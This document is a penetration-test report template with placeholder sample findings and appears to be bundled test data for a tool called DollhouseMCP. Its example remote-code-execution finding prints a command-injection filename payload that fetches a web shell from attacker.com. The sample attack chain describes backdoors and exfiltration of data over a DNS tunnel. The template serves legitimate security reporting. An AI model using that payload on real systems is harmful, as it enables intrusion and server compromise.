DollhouseMCP

--- name: "Penetration Test Report" description: "Comprehensive penetration testing report with executive summary and technical findings" type: "template" version: "1.0.0" author: "DollhouseMCP" created: "2025-07-23" category: "security" tags: ["penetration-testing", "security", "assessment", "report", "ethical-hacking"] variables: test_period: type: "string" description: "Testing period (start - end dates)" required: true target_organization: type: "string" description: "Target organization name" required: true lead_tester: type: "string" description: "Lead penetration tester name" required: true test_type: type: "string" description: "Type of penetration test" default: "external" enum: ["external", "internal", "web_application", "wireless", "social_engineering", "red_team"] methodology: type: "string" description: "Testing methodology used" default: "PTES" enum: ["PTES", "OWASP", "NIST", "OSSTMM", "custom"] client_contact: type: "string" description: "Primary client contact" required: true outputFormats: ["pdf", "html", "markdown"] includes: [] _dollhouseMCPTest: true _testMetadata: suite: "bundled-test-data" purpose: "General test data for DollhouseMCP system validation" created: "2025-08-20" version: "1.0.0" migrated: "2025-08-20T23:47:24.349Z" originalPath: "data/templates/penetration-test-report.md" --- # Penetration Testing Report **Target Organization:** {{target_organization}} **Testing Period:** {{test_period}} **Lead Tester:** {{lead_tester}} **Client Contact:** {{client_contact}} **Test Type:** {{test_type}} **Methodology:** {{methodology}} **Report Date:** {{report_date}} **Classification:** CONFIDENTIAL --- ## Executive Summary ### Assessment Overview {{#if assessment_overview}} {{assessment_overview}} {{else}} This penetration test was conducted to assess the security posture of {{target_organization}}'s {{test_type}} infrastructure. The assessment simulated real-world attack scenarios to identify vulnerabilities that could be exploited by malicious actors. **Key Objectives:** - Identify security vulnerabilities and misconfigurations - Assess the effectiveness of existing security controls - Provide actionable recommendations for risk mitigation - Validate compliance with security standards and policies {{/if}} ### Key Findings Summary {{#if key_findings}} {{key_findings}} {{else}} **Major Achievements:** - Gained initial foothold through [attack vector] - Escalated privileges to [level] access - Accessed [number] sensitive systems - Extracted [type] of sensitive data - Maintained persistence for [duration] **Critical Vulnerabilities Identified:** 1. [Vulnerability 1] - Allows complete network compromise 2. [Vulnerability 2] - Enables sensitive data exfiltration 3. [Vulnerability 3] - Bypasses authentication controls {{/if}} ### Risk Assessment | Risk Level | Findings | Percentage | |------------|----------|------------| {{#if risk_summary}} {{#each risk_summary}} | {{level}} | {{count}} | {{percentage}}% | {{/each}} {{else}} | Critical | X | XX% | | High | Y | YY% | | Medium | Z | ZZ% | | Low | W | WW% | {{/if}} **Overall Security Rating:** {{#if overall_rating}}{{overall_rating}}{{else}}[POOR/FAIR/GOOD/EXCELLENT]{{/if}} ### Business Impact {{#if business_impact}} {{business_impact}} {{else}} **Potential Impact of Identified Vulnerabilities:** - **Data Breach Risk:** High likelihood of sensitive data exposure - **Financial Impact:** Estimated $[amount] in potential losses - **Regulatory Compliance:** Violations of [regulations] requirements - **Operational Impact:** [duration] of potential downtime - **Reputational Damage:** Customer trust and brand reputation at risk {{/if}} ### Executive Recommendations {{#if exec_recommendations}} {{#each exec_recommendations}} {{@index+1}}. **{{category}}**: {{recommendation}} {{/each}} {{else}} 1. **Immediate Action Required:** Address critical vulnerabilities within 48 hours 2. **Security Architecture Review:** Comprehensive security design assessment needed 3. **Incident Response:** Activate incident response procedures immediately 4. **Security Training:** Mandatory security awareness training for all staff 5. **Third-party Assessment:** Engage external security consultants for remediation {{/if}} --- ## Testing Methodology ### Scope and Objectives {{#if scope_details}} {{scope_details}} {{else}} **In Scope:** - External IP ranges: [IP ranges] - Web applications: [URLs] - Network infrastructure: [description] - Wireless networks: [SSIDs] **Out of Scope:** - Social engineering attacks - Physical security testing - Denial of service attacks - Production data modification **Testing Objectives:** 1. Identify exploitable vulnerabilities 2. Assess network segmentation effectiveness 3. Evaluate authentication and authorization controls 4. Test incident detection and response capabilities {{/if}} ### Testing Phases {{#if methodology_details}} {{methodology_details}} {{else}} #### Phase 1: Reconnaissance ({{recon_duration}}) - Passive information gathering - OSINT collection and analysis - Network enumeration and mapping - Service and version identification #### Phase 2: Vulnerability Assessment ({{vuln_duration}}) - Automated vulnerability scanning - Manual testing and validation - Configuration analysis - Weakness prioritization #### Phase 3: Exploitation ({{exploit_duration}}) - Vulnerability exploitation attempts - Privilege escalation testing - Lateral movement simulation - Persistence mechanism deployment #### Phase 4: Post-Exploitation ({{post_exploit_duration}}) - Data exfiltration simulation - Network traversal and mapping - Additional system compromise - Impact assessment #### Phase 5: Reporting ({{reporting_duration}}) - Evidence collection and analysis - Risk assessment and prioritization - Remediation guidance development - Report preparation and review {{/if}} ### Rules of Engagement {{#if rules_of_engagement}} {{rules_of_engagement}} {{else}} - Testing authorized by [authorization document] - Testing window: [specific times/dates] - Emergency contact: [contact information] - No destructive actions without explicit approval - Immediate cessation upon request - Confidential handling of all discovered information {{/if}} --- ## Technical Findings {{#if technical_findings}} {{#each technical_findings}} ### Finding {{@index+1}}: {{title}} **Severity:** {{severity}} **CVSS Score:** {{cvss_score}} **Category:** {{category}} **CWE ID:** {{cwe_id}} #### Description {{description}} #### Affected Systems {{#each affected_systems}} - **{{name}}** ({{ip_address}}) - {{role}} {{/each}} #### Exploitation Details {{exploitation_details}} #### Evidence {{#if screenshots}} {{#each screenshots}}  {{/each}} {{/if}} {{#if code_snippets}} ```{{language}} {{code}} ``` {{/if}} #### Impact Assessment **Technical Impact:** - Confidentiality: {{confidentiality_impact}} - Integrity: {{integrity_impact}} - Availability: {{availability_impact}} **Business Impact:** {{business_impact_detail}} #### Remediation {{#each remediation_steps}} {{@index+1}}. {{step}} {{/each}} #### Verification Steps {{verification_steps}} --- {{/each}} {{else}} ### Example Finding: Unauthenticated Remote Code Execution **Severity:** CRITICAL **CVSS Score:** 9.8 **Category:** Code Execution **CWE ID:** CWE-78 #### Description A critical remote code execution vulnerability was identified in the web application that allows unauthenticated attackers to execute arbitrary system commands on the underlying server. #### Affected Systems - **Web Server** (192.168.1.10) - Production web application server - **Database Server** (192.168.1.11) - Connected database server #### Exploitation Details The vulnerability exists in the file upload functionality where user-supplied filenames are passed directly to system commands without proper sanitization. By crafting a malicious filename containing shell metacharacters, an attacker can execute arbitrary commands. **Exploit Payload:** ```bash filename="test.jpg; wget http://attacker.com/shell.php -O /var/www/html/shell.php; #" ``` **Result:** Remote shell access with web server privileges #### Evidence - Successfully uploaded malicious file - Executed system commands (id, whoami, ps aux) - Established persistent backdoor access - Accessed configuration files and database credentials #### Impact Assessment **Technical Impact:** - Confidentiality: HIGH - Complete server access - Integrity: HIGH - Ability to modify any file - Availability: MEDIUM - Potential for service disruption **Business Impact:** This vulnerability allows complete compromise of the web server, potentially leading to: - Theft of customer data and personal information - Modification of website content and functionality - Use of server for botnet or cryptocurrency mining - Lateral movement to other network systems #### Remediation 1. Implement strict input validation for all user uploads 2. Use a whitelist approach for allowed file extensions 3. Store uploaded files outside the web root directory 4. Run web application with minimal system privileges 5. Deploy Web Application Firewall (WAF) with upload restrictions 6. Implement file type validation using file signatures 7. Add comprehensive logging for all file upload activities #### Verification Steps 1. Test file upload with various malicious payloads 2. Verify uploaded files cannot execute system commands 3. Confirm files are stored in secure location 4. Test with different file extensions and MIME types 5. Validate logging captures all upload attempts --- {{/if}} ## Attack Chain Analysis ### Complete Attack Path {{#if attack_chain}} {{attack_chain}} {{else}} #### Initial Access 1. **Reconnaissance:** Identified target IP ranges and services 2. **Vulnerability Discovery:** Found RCE in web application upload 3. **Exploitation:** Uploaded malicious file to gain shell access 4. **Foothold Established:** Web server compromised (www-data user) #### Privilege Escalation 1. **Local Enumeration:** Discovered kernel version vulnerability 2. **Exploit Development:** Compiled local privilege escalation exploit 3. **Root Access:** Successfully escalated to root privileges 4. **Persistence:** Installed SSH backdoor and cron job #### Lateral Movement 1. **Network Discovery:** Scanned internal network segments 2. **Credential Harvesting:** Extracted database credentials from config 3. **Database Access:** Connected to internal database server 4. **Additional Systems:** Compromised 3 additional internal servers #### Data Exfiltration 1. **Data Discovery:** Located customer database and financial records 2. **Exfiltration Prep:** Compressed sensitive data archives 3. **Covert Channel:** Established DNS tunneling for data theft 4. **Data Theft:** Successfully exfiltrated 10GB of sensitive data {{/if}} ### Timeline of Compromise {{#if compromise_timeline}} {{compromise_timeline}} {{else}} | Time | Activity | Result | |------|----------|---------| | T+00:15 | Initial reconnaissance | Target identification | | T+01:30 | Vulnerability scanning | RCE vulnerability found | | T+02:45 | Exploitation attempt | Web shell uploaded | | T+03:00 | Privilege escalation | Root access achieved | | T+04:15 | Network enumeration | Internal network mapped | | T+06:30 | Lateral movement | Database server compromised | | T+08:00 | Data discovery | Customer records located | | T+10:30 | Data exfiltration | 10GB of data stolen | {{/if}} --- ## Risk Assessment ### Risk Calculation Methodology ``` Risk Score = (Threat Level × Vulnerability × Asset Value) / Controls Where: - Threat Level: Likelihood of attack (1-5) - Vulnerability: Ease of exploitation (1-5) - Asset Value: Business criticality (1-5) - Controls: Effectiveness of mitigations (1-5) ``` ### Detailed Risk Analysis {{#if risk_analysis}} {{#each risk_analysis}} #### {{asset_name}} - **Asset Value:** {{asset_value}}/5 ({{value_justification}}) - **Threat Level:** {{threat_level}}/5 ({{threat_justification}}) - **Vulnerability:** {{vulnerability_score}}/5 ({{vuln_justification}}) - **Current Controls:** {{controls_score}}/5 ({{controls_description}}) - **Risk Score:** {{risk_score}}/5 - **Risk Level:** {{risk_level}} {{/each}} {{else}} #### Web Application Server - **Asset Value:** 5/5 (Customer-facing, processes sensitive data) - **Threat Level:** 5/5 (Actively targeted by attackers) - **Vulnerability:** 5/5 (Critical RCE with no authentication required) - **Current Controls:** 1/5 (Minimal security controls in place) - **Risk Score:** 25/5 = 5/5 - **Risk Level:** CRITICAL #### Database Server - **Asset Value:** 5/5 (Contains all customer and financial data) - **Threat Level:** 4/5 (Internal access required) - **Vulnerability:** 4/5 (Weak credentials, unpatched systems) - **Current Controls:** 2/5 (Basic access controls only) - **Risk Score:** 20/5 = 4/5 - **Risk Level:** HIGH {{/if}} --- ## Remediation Plan ### Immediate Actions (0-24 hours) {{#if immediate_actions}} {{#each immediate_actions}} - [ ] **{{priority}}:** {{action}} ({{owner}}) {{/each}} {{else}} - [ ] **CRITICAL:** Patch RCE vulnerability in web application - [ ] **CRITICAL:** Change all compromised credentials and API keys - [ ] **CRITICAL:** Remove all backdoors and malicious files - [ ] **HIGH:** Implement emergency monitoring and alerting - [ ] **HIGH:** Conduct forensic analysis of compromised systems {{/if}} ### Short-term Actions (1-7 days) {{#if shortterm_actions}} {{#each shortterm_actions}} - [ ] **{{priority}}:** {{action}} ({{owner}}) {{/each}} {{else}} - [ ] Deploy Web Application Firewall (WAF) - [ ] Implement comprehensive input validation - [ ] Update all systems with latest security patches - [ ] Enhance monitoring and logging capabilities - [ ] Conduct security awareness training {{/if}} ### Medium-term Actions (1-4 weeks) {{#if mediumterm_actions}} {{#each mediumterm_actions}} - [ ] **{{priority}}:** {{action}} ({{owner}}) {{/each}} {{else}} - [ ] Implement network segmentation - [ ] Deploy endpoint detection and response (EDR) - [ ] Establish incident response procedures - [ ] Conduct architecture security review - [ ] Implement privileged access management (PAM) {{/if}} ### Long-term Actions (1-6 months) {{#if longterm_actions}} {{#each longterm_actions}} - [ ] **{{priority}}:** {{action}} ({{owner}}) {{/each}} {{else}} - [ ] Implement zero-trust network architecture - [ ] Establish security operations center (SOC) - [ ] Deploy security information and event management (SIEM) - [ ] Conduct regular penetration testing - [ ] Implement threat intelligence program {{/if}} --- ## Recommendations ### Strategic Security Improvements {{#if strategic_recommendations}} {{strategic_recommendations}} {{else}} 1. **Security by Design:** Integrate security into all development processes 2. **Defense in Depth:** Implement multiple layers of security controls 3. **Zero Trust Architecture:** Verify all users and devices before granting access 4. **Continuous Monitoring:** Implement real-time threat detection and response 5. **Security Culture:** Foster security-conscious organizational culture {{/if}} ### Technical Controls {{#if technical_controls}} {{technical_controls}} {{else}} 1. **Application Security:** - Implement secure coding practices - Deploy static and dynamic analysis tools - Establish secure development lifecycle (SDLC) 2. **Infrastructure Security:** - Deploy network segmentation and micro-segmentation - Implement endpoint protection and monitoring - Establish backup and disaster recovery procedures 3. **Identity and Access Management:** - Implement multi-factor authentication (MFA) - Deploy privileged access management (PAM) - Establish role-based access controls (RBAC) {{/if}} ### Organizational Controls {{#if organizational_controls}} {{organizational_controls}} {{else}} 1. **Governance and Compliance:** - Establish information security governance framework - Implement compliance monitoring and reporting - Conduct regular security risk assessments 2. **Training and Awareness:** - Provide security awareness training for all employees - Conduct phishing simulation exercises - Establish security incident reporting procedures 3. **Vendor Management:** - Implement third-party risk assessment program - Establish security requirements for vendors - Monitor vendor security posture continuously {{/if}} --- ## Conclusion ### Overall Assessment {{#if conclusion_summary}} {{conclusion_summary}} {{else}} The penetration test revealed significant security vulnerabilities that pose critical risks to {{target_organization}}. The successful compromise of multiple systems demonstrates the need for immediate remediation efforts and comprehensive security program improvements. **Key Concerns:** - Critical vulnerabilities allow complete system compromise - Lack of effective monitoring and detection capabilities - Insufficient network segmentation enables lateral movement - Weak access controls facilitate privilege escalation {{/if}} ### Success Metrics {{#if success_metrics}} {{success_metrics}} {{else}} To measure the effectiveness of remediation efforts, we recommend tracking: - Number of critical and high-risk vulnerabilities remediated - Mean time to detect (MTTD) security incidents - Mean time to respond (MTTR) to security incidents - Percentage of systems with current security patches - Security awareness training completion rates {{/if}} ### Next Steps {{#if next_steps}} {{next_steps}} {{else}} 1. **Immediate Response:** Address all critical findings within 24-48 hours 2. **Remediation Validation:** Conduct follow-up testing to verify fixes 3. **Process Improvement:** Establish ongoing security testing program 4. **Continuous Monitoring:** Implement real-time threat detection 5. **Regular Assessment:** Schedule quarterly security assessments {{/if}} --- ## Appendices ### Appendix A: Detailed Technical Evidence {{#if technical_evidence}} {{technical_evidence}} {{else}} [This section would contain detailed screenshots, log files, network captures, and other technical evidence supporting the findings] {{/if}} ### Appendix B: Tool Output and Scan Results {{#if tool_output}} {{tool_output}} {{else}} [This section would contain raw output from security tools used during testing] {{/if}} ### Appendix C: Network Diagrams and Attack Paths {{#if network_diagrams}} {{network_diagrams}} {{else}} [This section would contain network topology diagrams showing attack paths and compromised systems] {{/if}} ### Appendix D: Remediation Cost Analysis {{#if cost_analysis}} {{cost_analysis}} {{else}} | Priority | Estimated Cost | Timeline | Risk Reduction | |----------|---------------|----------|----------------| | Critical | $X,XXX | 1 week | 70% | | High | $XX,XXX | 1 month | 20% | | Medium | $XXX,XXX | 3 months | 8% | | Low | $XX,XXX | 6 months | 2% | {{/if}} --- **Report prepared by:** {{lead_tester}} **Testing team:** {{#if team_members}}{{team_members}}{{else}}[Team member names]{{/if}} **Report review:** {{#if reviewer}}{{reviewer}}{{else}}[Senior security consultant]{{/if}} **Date:** {{report_date}} *This report contains confidential information and should be treated as such. Distribution should be limited to authorized personnel only.*